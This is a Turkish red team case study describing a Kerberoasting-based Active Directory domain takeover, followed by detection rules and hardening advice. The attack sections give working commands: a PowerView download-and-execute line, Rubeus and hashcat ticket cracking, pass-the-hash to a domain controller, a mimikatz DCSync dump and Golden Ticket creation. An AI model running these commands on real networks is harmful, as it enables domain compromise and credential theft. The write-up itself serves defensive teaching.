Yönetici Özeti
Bu teknik vaka analizi, Windows Active Directory ortamı işleten orta ölçekli bir kurumsal yapıya karşı gerçekleştirilen bir red team çalışmasını belgelemektedir. Kimlik avı tabanlı ilk erişim senaryosunu simüle eden tek bir düşük yetkili domain kullanıcı hesabından başlayarak, ekibimiz altı saatten kısa sürede Domain Admin ayrıcalıklarına ulaştı. Bu kill chain'deki temel teknik Kerberoasting oldu; yani Kerberos kimlik doğrulama protokolünden yararlanan ve servis hesabı parola hash'lerini çevrimdışı çalarak kırmayı mümkün kılan, iyi bilinen ancak sürekli hafife alınan bir Active Directory saldırısı.
Çalışma Genel Bakışı
- Hedef Ortam: Windows Server 2019 AD, ~350 kullanıcı hesabı, 8 Domain Controller
- İlk Erişim Simülasyonu: Düşük yetkili domain kullanıcısı (yardım masası seviye-1)
- Kapsam: İç ağ, lateral movement'a kısıtlama yok
- Süre: İlk erişimden DA'ya 5 saat 47 dakika
- Tespit Durumu: Saldırı zinciri boyunca müşterinin SIEM'inde sıfır alarm tetiklendi
- Kullanılan Araçlar: BloodHound, SharpHound, Impacket, Hashcat, Rubeus, mimikatz
Temel Bulgular
- Domain'de 17 Kerberoastable hesap bulundu, 4'ünün parolası kırılabilir nitelikteydi
- Bir servis hesabı Domain Admin üyeliğine sahipti — doğrudan DA yolu
- Servis hesaplarına yönelik TGS isteklerinde izleme yapılmıyordu
- Kullanıcı hesaplarında eski SPN'ler mevcuttu, saldırı yüzeyi genişliyordu
- Çalışma boyunca sıfır alarm oluşturulmadı
Arka Plan: Kerberos Kimlik Doğrulaması Nasıl Çalışır?
Saldırıya dalmadan önce, Active Directory ortamlarında Kerberos kimlik doğrulamasının nasıl işlediğini ve neden bu saldırı sınıfına karşı savunmasız olduğunu anlamak önemlidir.
Kerberos Bilet Değişim Süreci
Kerberos, ağ üzerinden parola iletmeden kullanıcıların servislere kimlik doğrulamasını sağlayan bilet tabanlı bir model kullanır:
-
AS-REQ / AS-REP (Kimlik Doğrulama Servisi Değişimi): İstemci, parola hash'ini kullanarak KDC'ye (Key Distribution Center) kimlik doğrular. KDC, krbtgt hesabının gizli anahtarıyla şifrelenmiş bir Ticket Granting Ticket (TGT) verir.
-
TGS-REQ / TGS-REP (Bilet Verme Servisi Değişimi): İstemci TGT'sini sunar ve belirli bir servis için Servis Bileti (TGS) talep eder. KDC, TGS'yi servis hesabının NTLM hash'i ile şifreler.
-
AP-REQ (Uygulama Değişimi): İstemci TGS'yi hedef servise sunar. Servis, bileti kendi parola hash'iyle çözer ve erişim verir.
Kerberoasting Açığı
Buradaki kritik zayıflık 2. adımdadır. Bir domain kullanıcısı bir servis için TGS talep ettiğinde, KDC bu bileti SPN (Service Principal Name) ile ilişkili servis hesabının NTLM hash'i kullanarak şifreler. Önemli olan şu:
- Herhangi bir kimlik doğrulanmış domain kullanıcısı, domain'de kayıtlı herhangi bir SPN için TGS talep edebilir
- KDC, talepte bulunan kullanıcının servisi kullanma iznini kontrol etmez
- TGS, servis hesabının parola hash'i kullanılarak RC4-HMAC (veya yapılandırılmışsa AES) ile şifrelenir
- Saldırgan TGS'yi çevrimdışı alabilir ve daha fazla ağ etkileşimine gerek kalmadan parolayı kaba kuvvetle kırmaya çalışabilir
Yani bir servis hesabı zayıf veya tahmin edilebilir bir parola kullanıyorsa, herhangi bir domain kullanıcısı tamamen çevrimdışı olarak kırabılır — başarısız giriş yok, hesap kilitleme yok, ağ gürültüsü yok.
Aşama 1: İlk Erişim
Simüle Edilmiş İlk Erişim
Bu çalışma için başlangıç noktası simüle edilmiş bir kimlik avı ele geçirmesiydi. Müşteri bize standart bir yardım masası kullanıcı hesabı için kimlik bilgileri verdi:
Kullanıcı Adı: helpdesk.user01@corp.local
Parola: Welcome2024!
Ayrıcalıklar: Yalnızca Domain Users
Bu, fidye yazılımı ve APT izinsiz girişlerinde en yaygın gerçek dünya başlangıç noktasıdır — kimlik avı, credential stuffing veya bir ilk erişim komisyoncusundan satın alma yoluyla elde edilmiş düşük yetkili bir domain hesabı.
Bu kimlik bilgileriyle domain'e kimlik doğruladık ve keşif aşamamıza başladık.
Aşama 2: İç Keşif
2.1 BloodHound ile Domain Tespiti
BloodHound, Active Directory saldırı yolu analizi için altın standarttır. Kullanıcılar, bilgisayarlar, gruplar ve ACL'ler arasındaki ilişkileri eşlemek için grafik teorisini kullanır ve herhangi bir düğümden Domain Admin'e en kısa yolu belirler.
Domain'i numaralandırmak için SharpHound'u (BloodHound veri toplayıcısı) dağıttık:
# SharpHound toplayıcısını çalıştır
.\SharpHound.exe -c All --zipfilename ad-collection.zip --outputdirectory C:\Windows\Temp
[*] Çözümlenen Toplama Yöntemleri: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn,
Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[*] SharpHound başlatılıyor: 09:14:32 02/28/2026
[*] Durum: 347 nesne tamamlandı (+347 347)/s -- 72 MB RAM kullanımda
[*] Numaralandırma 00:03:42'de tamamlandı
[*] Veri sıkıştırılıyor: C:\Windows\Temp\ad-collection.zip
Verileri BloodHound'a aktardıktan sonra hemen "Find Shortest Paths to Domain Admins" ve "List All Kerberoastable Accounts" önceden hazırlanmış sorgularını çalıştırdık.
2.2 Kerberoastable Servis Hesaplarının Tespiti
BloodHound kayıtlı SPN'lere sahip 17 hesap ortaya koydu — hepsi Kerberoasting adayıydı. Daha ayrıntılı bir inceleme için PowerView de kullandık:
# PowerView'ı içe aktar
IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.10/PowerView.ps1')
# Kerberoastable hesapları numaralandır
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof, pwdlastset
samaccountname serviceprincipalname memberof pwdlastset
-------------- -------------------- -------- ----------
svc-mssql MSSQLSvc/SQLPROD01:1433 Domain Admins 2019-03-15 11:22:04
svc-backup BackupSvc/BACKUPSRV01 Backup Operators 2021-06-08 09:12:31
svc-web HTTP/webapp.corp.local Web Admins 2022-11-20 14:33:18
svc-monitoring WSMAN/monitor.corp.local IT Helpdesk 2023-07-04 08:55:44
...
İlk sonuç bizi durdurdu: svc-mssql Domain Admins üyesi ve parola son olarak 2019'da ayarlanmış. Domain Admin servis hesabında yedi yıllık bir parola — bu, tam bir ele geçirmeyi tanımlayan yapılandırma hatasının ta kendisidir.
Bunu BloodHound'da görsel olarak da doğruladık:
svc-mssql→MSSQLSvc/SQLPROD01:1433(SPN)svc-mssql→ Domain Admins (doğrudan grup üyeliği)helpdesk.user01→svc-mssqliçin TGS talep edebilir (herhangi bir domain kullanıcısı)
Saldırı yolu netti. Tek bir Kerberoastable servis hesabı üzerinden yardım masası hesabımızdan Domain Admin'e doğrudan bir rota vardı.
2.3 Ek Domain Keşfi
Kerberoasting saldırımızı hazırlarken daha geniş ortamı anlamak için ek numaralandırma da yaptık:
# Domain bilgisi
Get-DomainController | Select-Object Name, Domain, Forest, OSVersion
# Parola politikası
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
MinimumPasswordAge : 1
MaximumPasswordAge : 90
MinimumPasswordLength : 8
PasswordComplexity : 1
LockoutBadCount : 0 # Hesap kilitleme politikası yok — kaba kuvvete izin verir
LockoutDuration : 0
# Domain admin'ler
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName
MemberName
----------
Administrator
svc-mssql # <- hedefimiz
it.admin
Hesap kilitleme politikasının olmadığı (LockoutBadCount: 0) ikincil bir bulguydu — ancak Kerberoasting saldırısı bunu gerektirmiyor çünkü tüm kırma işlemi çevrimdışı gerçekleşiyor.
Aşama 3: Kerberoasting
3.1 Servis Biletlerinin Talep Edilmesi
Hedefimizi belirledikten sonra, Kerberos kötüye kullanımı için güçlü bir .NET araç seti olan Rubeus'u kullanarak tüm SPN'ler için Kerberos servis biletleri talep ettik:
# Tüm Kerberoastable hesaplar için TGS biletleri talep et ve dosyaya kaydet
.\Rubeus.exe kerberoast /outfile:kerberoast-hashes.txt /nowrap
[*] Eylem: Kerberoasting
[*] Hedef Domain : corp.local
[*] Toplam kerberoastable kullanıcı : 17
[*] SamAccountName : svc-mssql
[*] DistinguishedName : CN=svc-mssql,OU=Service Accounts,DC=corp,DC=local
[*] ServicePrincipalName : MSSQLSvc/SQLPROD01:1433
[*] PwdLastSet : 3/15/2019 11:22:04 AM
[*] Supported ETypes : RC4_HMAC
[*] Hash : $krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:1433@corp.local*$...
[*] SamAccountName : svc-backup
[*] ServicePrincipalName : BackupSvc/BACKUPSRV01
...
Araç saniyeler içinde 17 hesabın tümü için TGS biletlerini başarıyla aldı. Her hash, şimdi çevrimdışı kıracağımız şifrelenmiş TGS'dir.
3.2 Impacket Alternatifi (Linux)
Tamamlık açısından, aynı saldırı Impacket'in GetUserSPNs.py aracı kullanılarak Linux'tan da gerçekleştirilebilir:
# Linux'tan tüm TGS hash'lerini talep et
python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 corp.local/helpdesk.user01:Welcome2024!
ServicePrincipalName Name MemberOf PasswordLastSet
------------------------------ ---------- -------------------- -------------------
MSSQLSvc/SQLPROD01:1433 svc-mssql Domain Admins 2019-03-15 11:22:04
BackupSvc/BACKUPSRV01 svc-backup Backup Operators 2021-06-08 09:12:31
HTTP/webapp.corp.local svc-web Web Admins 2022-11-20 14:33:18
$krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:1433@corp.local*$9e3f0b2d...[kısaltıldı]
$krb5tgs$23$*svc-backup$corp.local$BackupSvc/BACKUPSRV01@corp.local*$4a1c8f3e...[kısaltıldı]
3.3 Hashcat ile Çevrimdışı Hash Kırma
Hash'ler kaydedilince, GPU'lu çevrimdışı bir kırma istasyonuna geçtik. Kerberoast hash'leri $krb5tgs$23$ türündedir (RC4-HMAC, Hashcat modu 13100):
# Hashcat ile RC4 Kerberoast hash'lerini kır
hashcat -m 13100 kerberoast-hashes.txt /wordlists/rockyou.txt -r /rules/best64.rule --force
hashcat (v6.2.6) başlatılıyor...
* Cihaz #1: NVIDIA GeForce RTX 4090, 24320/24576 MB, 128MCU
$krb5tgs$23$*svc-mssql$...:Mssql@2019 # 3 dakika 14 saniyede KIRILDI
$krb5tgs$23$*svc-backup$...:Backup123! # 7 dakika 52 saniyede KIRILDI
$krb5tgs$23$*svc-web$...: # Kırılamadı (güçlü parola)
Durum...........: Kırıldı (RC4 hash'lerinden 2/4'ü)
Kurtarıldı......: 2/4 (%50.00) Özetler
Hız.#1..........: 5.123,4 MH/s
svc-mssql parolası kırıldı: Mssql@2019
Parola basittir: servis adı artı son değiştirildiği yıl. Bu, özellikle modern parola politikalarından önce oluşturulmuş servis hesapları için kurumsal ortamlarda son derece yaygın bir kalıptır.
Aşama 4: Lateral Movement
4.1 Pass-the-Ticket (PTT)
Kırılan parola elimizde olunca birden fazla seçeneğimiz vardı. Yeni kimlik doğrulama olayları oluşturmaktan kaçınmak için zaten elde ettiğimiz TGS'yi kullanan Pass-the-Ticket yöntemini seçtik:
# TGS biletini mevcut oturum belleğine enjekte et
.\Rubeus.exe ptt /ticket:$krb5tgs$23$*svc-mssql$corp.local$...
[*] Eylem: Bileti İçe Aktar
[+] Bilet başarıyla içe aktarıldı!
# Bellekteki bileti doğrula
klist
Önbelleğe Alınmış Biletler: (1)
#0> İstemci: svc-mssql @ CORP.LOCAL
Sunucu: MSSQLSvc/SQLPROD01:1433 @ CORP.LOCAL
Bitiş Zamanı: 2/28/2026 21:14:32 (yerel)
Yenileme Zamanı: 3/7/2026 09:14:32 (yerel)
4.2 Pass-the-Hash Alternatifi
Düz metin parolaya sahip olduğumuzdan NTLM hash'ini hesaplayıp Pass-the-Hash kullanabilirdik:
# Kırılan parolanın NTLM hash'ini hesapla
python3 -c "import hashlib; print(hashlib.new('md4', 'Mssql@2019'.encode('utf-16le')).hexdigest())"
# Çıktı: 8f538e4e9d7b3dfc4e2d1e9a7c6f0b12
# psexec ile Pass-the-Hash ile kimlik doğrula
python3 psexec.py -hashes :8f538e4e9d7b3dfc4e2d1e9a7c6f0b12 svc-mssql@DC01.corp.local cmd.exe
[*] DC01.corp.local üzerindeki paylaşımlar isteniyor.....
[*] ADMIN$ yazılabilir paylaşımı bulundu
[*] EJtKfgQP.exe yükleniyor
[*] DC01.corp.local üzerinde RkpD servisi başlatılıyor.....
Microsoft Windows [Sürüm 10.0.17763.5206]
C:\Windows\system32>whoami
corp\svc-mssql
C:\Windows\system32>net group "Domain Admins" /domain
Grup adı Domain Admins
Üyeler
-------------------------------------------------------------------
Administrator it.admin svc-mssql
Komut başarıyla tamamlandı.
Artık svc-mssql olarak çalışan — bir Domain Admin — Domain Controller üzerinde bir shell'imiz vardı.
Aşama 5: Domain Ele Geçirme
5.1 DCSync — Tüm Domain Kimlik Bilgilerinin Çıkarılması
Domain Admin ayrıcalıklarıyla, Active Directory'den tüm domain kimlik bilgilerini dökmek için mimikatz kullanarak bir DCSync saldırısı gerçekleştirdik. DCSync, bir Domain Controller'ın kimlik bilgisi replikasyon davranışını taklit ederek son derece gizli kalır:
# Tüm domain hash'lerini dökmek için DCSync
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" exit
Nesne RDN : krbtgt
SAM Kullanıcı Adı : krbtgt
Parola son değişiklik: 2021-03-22 09:11:07
Kimlik Bilgileri:
Hash NTLM: d6f68bba7c9a5a9d97a0ede70bd4f4c6
...
[+] 347 hesap döküldü
krbtgt NTLM hash'ini dökmek, Active Directory ele geçirmesinin nihai kilometre taşıdır. krbtgt hash'i ile saldırgan, başka kimlik bilgisine gerek duymaksızın domain'deki herhangi bir servise süresiz erişim sağlayan Golden Ticket'lar oluşturabilir.
5.2 Golden Ticket Oluşturma
Tam kalıcılık etkisini göstermek için:
# 10 yıl ömürlü Golden Ticket oluştur
.\mimikatz.exe "
kerberos::golden
/user:GoldenAdmin
/domain:corp.local
/sid:S-1-5-21-2892736451-3294054949-1009416568
/krbtgt:d6f68bba7c9a5a9d97a0ede70bd4f4c6
/endin:3652
/renewmax:3652
/ticket:golden.kirbi
" exit
[+] Golden ticket oluşturuldu: golden.kirbi
Bu, bir AD ele geçirmesinden sonra tam kapsama almanın neden krbtgt parolasının iki kez döndürülmesini (tüm mevcut TGT'leri geçersiz kılmak için) ve tüm oluşturulan kalıcılık mekanizmalarının kapsamlı bir soruşturmasını gerektirdiğini göstermektedir.
5.3 Zaman Çizelgesi Özeti
| Zaman | Eylem | Teknik |
|---|---|---|
| T+0:00 | Yardım masası kimlik bilgileriyle ilk erişim | T1078.002 |
| T+0:08 | SharpHound domain numaralandırması | T1087.002 |
| T+0:15 | BloodHound analizi, yol tespit edildi | T1087.002 |
| T+0:22 | Rubeus ile tüm SPN'ler Kerberoast edildi | T1558.003 |
| T+0:25 | Hash'ler kırma istasyonuna aktarıldı | T1041 |
| T+3:39 | svc-mssql hash'i kırıldı (Mssql@2019) | T1110.002 |
| T+3:45 | Domain Controller'a Pass-the-Hash | T1550.002 |
| T+3:52 | DC01'de svc-mssql (Domain Admin) olarak shell | T1078.002 |
| T+4:11 | DCSync — tüm domain hash'leri döküldü | T1003.006 |
| T+4:18 | Golden Ticket oluşturuldu (krbtgt hash'i) | T1558.001 |
| T+5:47 | Çalışma tamamlandı | — |
MITRE ATT&CK Haritalama
| Taktik | Teknik ID | Teknik Adı | Kullanılan Araç |
|---|---|---|---|
| Keşif | T1087.002 | Hesap Keşfi: Domain Hesabı | BloodHound, PowerView |
| Keşif | T1482 | Domain Güven Keşfi | BloodHound |
| Keşif | T1069.002 | İzin Grupları Keşfi: Domain Grupları | PowerView |
| Kimlik Bilgisi Erişimi | T1558.003 | Kerberos Biletleri Çalma/Sahteleme: Kerberoasting | Rubeus, Impacket |
| Kimlik Bilgisi Erişimi | T1003.006 | İşletim Sistemi Kimlik Bilgisi Dökümü: DCSync | mimikatz |
| Lateral Movement | T1550.002 | Alternatif Kimlik Doğrulama Materyali Kullanımı: Pass the Hash | psexec.py |
| Lateral Movement | T1550.003 | Alternatif Kimlik Doğrulama Materyali Kullanımı: Pass the Ticket | Rubeus |
| Ayrıcalık Yükseltme | T1078.002 | Geçerli Hesaplar: Domain Hesapları | — |
| Kalıcılık | T1558.001 | Kerberos Biletleri Çalma/Sahteleme: Golden Ticket | mimikatz |
Bu Saldırı Neden Bu Kadar Etkili?
Çevrimdışı Kırmanın Avantajı
Kerberoasting'in temel gücü, canlı sistemlere karşı kaba kuvvet denemesi gerektirmemesinden gelir. Hesap kilitleme olayları ve başarısız kimlik doğrulama günlükleri üreten parola püskürtme veya kaba kuvvet saldırılarının aksine, Kerberoasting:
- Yalnızca tek, normal görünümlü bir TGS-REQ olayı üretir (Event ID 4769)
- Tüm kırma işlemi saldırganın kontrolündeki donanımda çevrimdışı gerçekleşir
- Hash alındıktan sonra ağ bağlantısı gerekmez
- Hesap kilitleme riski kesinlikle yoktur
- KDC'nin çevrimdışı kırma girişimlerini tespit etme yolu yoktur
Servis Hesapları Neden Savunmasız?
Servis hesapları kuruluşlar için benzersiz zorluklar sunar:
- Uzun ömürlü parolalar: Servis hesabı parolaları genellikle yıllarca değişmez, çünkü değiştirme kullanan uygulamayı bozma riski taşır
- Tahmin edilebilir kalıplar: BT ekipleri servis hesabı parolaları için akılda kalıcı kalıplar (
ServisAdı@Yıl) kullanır - Aşırı ayrıcalıklar: Servis hesapları kolaylık sağlamak için genellikle fazla yetkiyle sağlanır ("Domain Admin ver, o zaman kesinlikle çalışır")
- Zayıf izleme: Servis hesabı kimlik doğrulama olayları nadiren temel alınır veya uyarı verir
- Eski SPN'ler: Eski SPN'ler servislerin hizmetten çıkarılmasından sonra bile nadiren temizlenir
AES ile RC4 Şifrelemesi
Varsayılan olarak, Kerberos destekleniyorsa TGS biletleri için RC4-HMAC şifrelemesini tercih eder çünkü bu kırmak için en hızlı şifreleme türüdür. Kuruluşlar, yalnızca AES şifrelemesini zorunlu kılarak bunu kısmen azaltabilir (AES-256 için Hashcat modu 19700), ancak saldırı yine de işe yarar — sadece zayıf parolalarla daha uzun sürer.
Tespit Fırsatları
Güçlü ve gizli bir teknik olmasına rağmen, Kerberoasting tespit edilebilir izler bırakır. Mavi takımın izlemesi gerekenler şunlardır:
Windows Event Günlükleri
Event ID 4769 — Kerberos Servis Bileti İşlemleri
Bu birincil tespit olayıdır. Analiz edilecek temel alanlar:
Event ID: 4769
Olay: Kerberos servis bileti talep edildi
Hesap Adı: helpdesk.user01@CORP.LOCAL
Hizmet Adı: svc-mssql
Bilet Şifreleme Türü: 0x17 <-- RC4-HMAC (modern ortamlar için şüpheli)
İstemci Adresi: ::ffff:192.168.10.45
Tespit Mantığı:
- Modern ortamlarda servis hesapları için Bilet Şifreleme Türü = 0x17 (RC4-HMAC) olduğunda uyarı ver
- Tek bir kullanıcı kısa sürede birçok SPN için TGS bileti talep ettiğinde uyarı ver (toplu Kerberoasting)
- Servis olmayan hesaplar yüksek ayrıcalıklı servis hesapları için TGS talep ettiğinde uyarı ver
Honeytoken Servis Hesapları
En etkili Kerberoasting tespit stratejilerinden biri, domain'e honeytoken servis hesapları yerleştirmektir:
- Bir SPN ile sahte servis hesabı oluşturun:
svc-honeypotveFakeSPN/fakesrv.corp.local - Hesabın kırılamayacak çok güçlü bir parolası olsun
- Bu hesap için herhangi bir TGS talebinde uyarı vermek üzere SACL denetimini yapılandırın
- Bu bilet için herhangi bir talep, garantili bir Kerberoasting göstergesidir — hiçbir meşru sistem onu talep etmemelidir
# Honeytoken servis hesabı oluştur
New-ADUser -Name "svc-honeypot" -SamAccountName "svc-honeypot" -AccountPassword (ConvertTo-SecureString "H0n3yP0t!2026@#$%^UZUNPAROLA" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "svc-honeypot" -ServicePrincipalNames @{Add="FakeSVC/honeypot.corp.local"}
Düzeltme ve Sertleştirme Önerileri
Kritik (Hemen Eylem Gerekli)
1. SPN'li Tüm Servis Hesaplarını Denetleyin
# Tüm Kerberoastable hesapları bul
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf, PasswordLastSet, PasswordNeverExpires |
Select-Object SamAccountName, ServicePrincipalName, @{N='Gruplar';E={$_.MemberOf -join ', '}}, PasswordLastSet, PasswordNeverExpires |
Export-Csv -Path C:\Raporlar\kerberoastable-hesaplar.csv -NoTypeInformation
- Herhangi bir servis hesabını Domain Admins veya diğer yüksek ayrıcalıklı gruplardan hemen kaldırın
- 1 yıldan eski tüm servis hesabı parolalarını değiştirin
- Tüm servis hesapları için minimum 25 karakter parola uzunluğunu zorunlu kılın
2. Yönetilen Servis Hesaplarına (MSA/gMSA) Geçiş
Group Managed Service Accounts (gMSA), servis hesaplarında Kerberoasting için kesin çözümdür. gMSA'ların parolaları:
- Windows tarafından her 30 günde otomatik olarak döndürülür
- KDC tarafından oluşturulan 240 karakterli rastgele parolalardır
- Kerberoast edilmesi imkânsızdır (çevrimdışı kırma tamamlanmadan parola hash'i değişir)
# svc-mssql'nin yerine gMSA oluştur
New-ADServiceAccount -Name "gmsa-mssql" \
-DNSHostName "sqlprod01.corp.local" \
-PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers" \
-ServicePrincipalNames "MSSQLSvc/SQLPROD01:1433"
# SQL sunucusuna yükle
Install-ADServiceAccount -Identity "gmsa-mssql"
# SQL Server Yapılandırma Yöneticisi'nde gMSA kullanacak şekilde yapılandır
# Servis hesabı: corp\gmsa-mssql$ ($ işaretine dikkat)
3. Servis Hesapları için AES Şifrelemesini Etkinleştirin
Tam bir çözüm olmasa da, AES-256 şifrelemesini zorunlu kılmak Kerberoasting'i önemli ölçüde zorlaştırır:
# Servis hesapları için AES şifrelemesini zorla
Set-ADUser -Identity svc-mssql -KerberosEncryptionType AES256
# Domain düzeyinde RC4'ü devre dışı bırak (dağıtmadan önce kapsamlı test yapın)
# GPO: Bilgisayar Yapılandırması > Windows Ayarları > Güvenlik Ayarları >
# Yerel İlkeler > Güvenlik Seçenekleri >
# Ağ güvenliği: Kerberos için izin verilen şifreleme türlerini yapılandır
# RC4_HMAC_MD5'in işaretini kaldırın
Yüksek Öncelik (30 Gün İçinde)
4. Servis Hesapları için En Az Ayrıcalık İlkesini Uygulayın
- Servis hesapları yalnızca kendine özgü işlevleri için gereken izinlere sahip olmalıdır
- Hiçbir servis hesabı Domain Admins, Enterprise Admins veya Schema Admins üyesi olmamalıdır
- Microsoft PAM veya BeyondTrust gibi çözümler kullanarak ayrıcalıklı işlemler için anlık (JIT) erişim uygulayın
- Tüm ayrıcalıklı hesap yönetimi için Privileged Access Workstations (PAW) uygulayın
5. Eski SPN'leri Temizleyin
# Yetkisiz sunuculara işaret eden SPN'leri bul
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
ForEach-Object {
$user = $_
$_.ServicePrincipalName | ForEach-Object {
$spn = $_
$server = ($spn -split '/')[1] -split ':' | Select-Object -First 1
if (-not (Resolve-DnsName $server -ErrorAction SilentlyContinue)) {
Write-Output "Sahipsiz SPN: $spn - $($user.SamAccountName) üzerinde"
}
}
}
6. Kerberoasting Tespit Kuralları Dağıtın
Splunk Tespit Kuralı:
index=wineventlog EventCode=4769
| eval encryption_type=mvindex(Ticket_Encryption_Type,0)
| where encryption_type="0x17" AND Service_Name!="krbtgt" AND Service_Name!="*$"
| stats count by Account_Name, Service_Name, Client_Address
| where count > 5
| alert action=email, subject="Olası Kerberoasting Tespit Edildi"
Microsoft Sentinel KQL:
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where ServiceName != "krbtgt"
| summarize TalepSayısı = count(), Servisler = makeset(ServiceName) by AccountName, IpAddress, bin(TimeGenerated, 1h)
| where TalepSayısı > 3
| project TimeGenerated, AccountName, IpAddress, TalepSayısı, Servisler
Uzun Vadeli (Stratejik)
7. Microsoft Defender for Identity Dağıtın
Microsoft Defender for Identity (eski adıyla Azure ATP), domain controller düzeyinde TGS talep kalıplarını analiz ederek hacim, zamanlama ve şifreleme türü anomalilerini otomatik olarak ilişkilendiren yerleşik Kerberoasting tespitine sahiptir.
8. Düzenli Red Team Tatbikatları
Kerberoasting ve Active Directory saldırı yolları düzenli olarak test edilmelidir:
- Üç ayda bir: PingCastle veya BloodHound Community Edition gibi araçlar kullanarak otomatik AD sağlık kontrolleri
- Yılda iki kez: Domain ele geçirme senaryolarını simüle eden tam red team tatbikatları
- Yıllık: Tespit yeteneklerini doğrulamak ve ayarlamak için purple team tatbikatları
Çıkarılan Dersler
Bu çalışma, kurumsal ortamlarda tekrar tekrar gördüğümüz bir kalıbı vurguladı: Active Directory, güvenlik sınırı olarak değil altyapı olarak ele alınmaktadır. Aşağıdaki organizasyonel ve süreç başarısızlıkları, tek bir yardım masası kimlik bilgisinden tam bir domain ele geçirmeye olanak tanıdı:
Temel Nedenler
- Servis hesabı yaşam döngüsü yönetimi yok:
svc-mssqlhesabı 2019'da aşırı ayrıcalıklar ve zayıf parola ile oluşturuldu ve yedi yılda hiç gözden geçirilmedi - Aşırı ayrıcalıklı servis hesapları: Birisi
svc-mssql'yi kolaylık sağlamak için Domain Admins'e ekledi, muhtemelen geri alınmayan bir sorun giderme oturumu sırasında - AD güvenlik izlemesi yok: RC4 TGS istekleri için uyarı olmayan 17 Kerberoastable hesap
- Savunma tarafında BloodHound eşdeğeri araç yok: Saldırı yolu BloodHound'da trivial olarak görünürdü — BloodHound'u düzenli çalıştıran savunucular bu yapılandırma hatasını yakalamış olurdu
- Servis hesapları için parola politikası uygulaması yok: Karmaşıklık içeren 8 karakterlik minimum, SPN'li hesaplar için etkili bir politika oluşturmaz
Tek Hata Noktası Sorunu
Bu çalışmanın en önemli çıkarımlarından biri, tek bir yapılandırma hatasının — Domain Admins'teki bir servis hesabının — düşük etkili bir Kerberoasting bulgusunu tam bir domain ele geçirmeye nasıl dönüştürdüğüdür. Derinlemesine savunma yalnızca birden fazla güvenlik aracına sahip olmakla ilgili değildir; aynı zamanda hiçbir tek yapılandırma hatasının düşük yetkili bir kullanıcıdan Domain Admin'e düz bir yol oluşturamayacağını sağlamakla ilgilidir.
Sonuç
Kerberoasting yeni bir teknik değil — ilk olarak Tim Medin tarafından DerbyCon 2014'te tanımlandı — ancak modern kurumsal Active Directory ortamlarında en güvenilir şekilde başarılı olan saldırı yollarından biri olmaya devam ediyor. Meşru protokol davranışı, çevrimdışı kırma ve yaygın servis hesabı hijyen başarısızlıklarının kombinasyonu onu her red team'in araç kitinin vazgeçilmezi yapmaktadır.
Bu çalışmadan temel çıkarımlar:
- gMSA'lar Kerberoasting'i ortadan kaldırır — servis hesapları için hemen geçiş yapın
- Servis hesapları asla ayrıcalıklı grup üyeliği taşımamalıdır — şimdi denetleyin
- RC4-HMAC TGS talepleri tespit edilebilir — SIEM kurallarını hemen uygulayın
- BloodHound'u kendi ortamınızda çalıştırın — saldırganlar görmeden önce ne gördüklerini görün
- Kerberoasting neredeyse hiç gürültü üretmez — yalnızca pasif izleme yetersizdir; proaktif denetim şarttır
Tek bir yardım masası kimlik bilgisinden altı saatten kısa sürede tam domain ele geçirme ile bu çalışma, Active Directory güvenliğinin bir kez yapılıp bırakılan bir yapılandırma olarak ele alınamayacağının altını çizmektedir. Sürekli denetim, izleme ve karşı taraf simülasyonu gerektirmektedir.
Bu teknik vaka analizi, Netlore Security Red Team tarafından gerçekleştirilen yetkili bir red team çalışmasının anonimleştirilmiş bir anlatımıdır. Tüm tanımlayıcı bilgiler değiştirilmiştir. Çalışma, tam yasal yetkilendirme ve imzalanmış bir Katılım Kuralları belgesi kapsamında gerçekleştirilmiştir.
Active Directory ortamınız Kerberoasting ve domain ele geçirme saldırı zincirlerine karşı dayanıklı mı? Netlore Security, kapsamlı Active Directory güvenlik değerlendirmeleri, BloodHound odaklı saldırı yolu analizi ve purple team tatbikatları sunmaktadır. Bize ulaşın: redteam@netlore.com.tr
Siber Güvenlik Danışmanlığına İhtiyacınız mı Var?
Uzman ekibimiz, kurumsal altyapınızın güvenliğini sağlamak için kapsamlı siber güvenlik hizmetleri sunmaktadır. Sızma testleri, güvenlik denetimleri ve danışmanlık hizmetlerimiz hakkında detaylı bilgi almak için bizimle iletişime geçin.
İletişime Geç